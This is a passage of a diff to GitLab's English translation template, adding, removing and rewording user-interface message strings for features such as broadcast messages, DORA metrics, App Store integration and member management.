msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
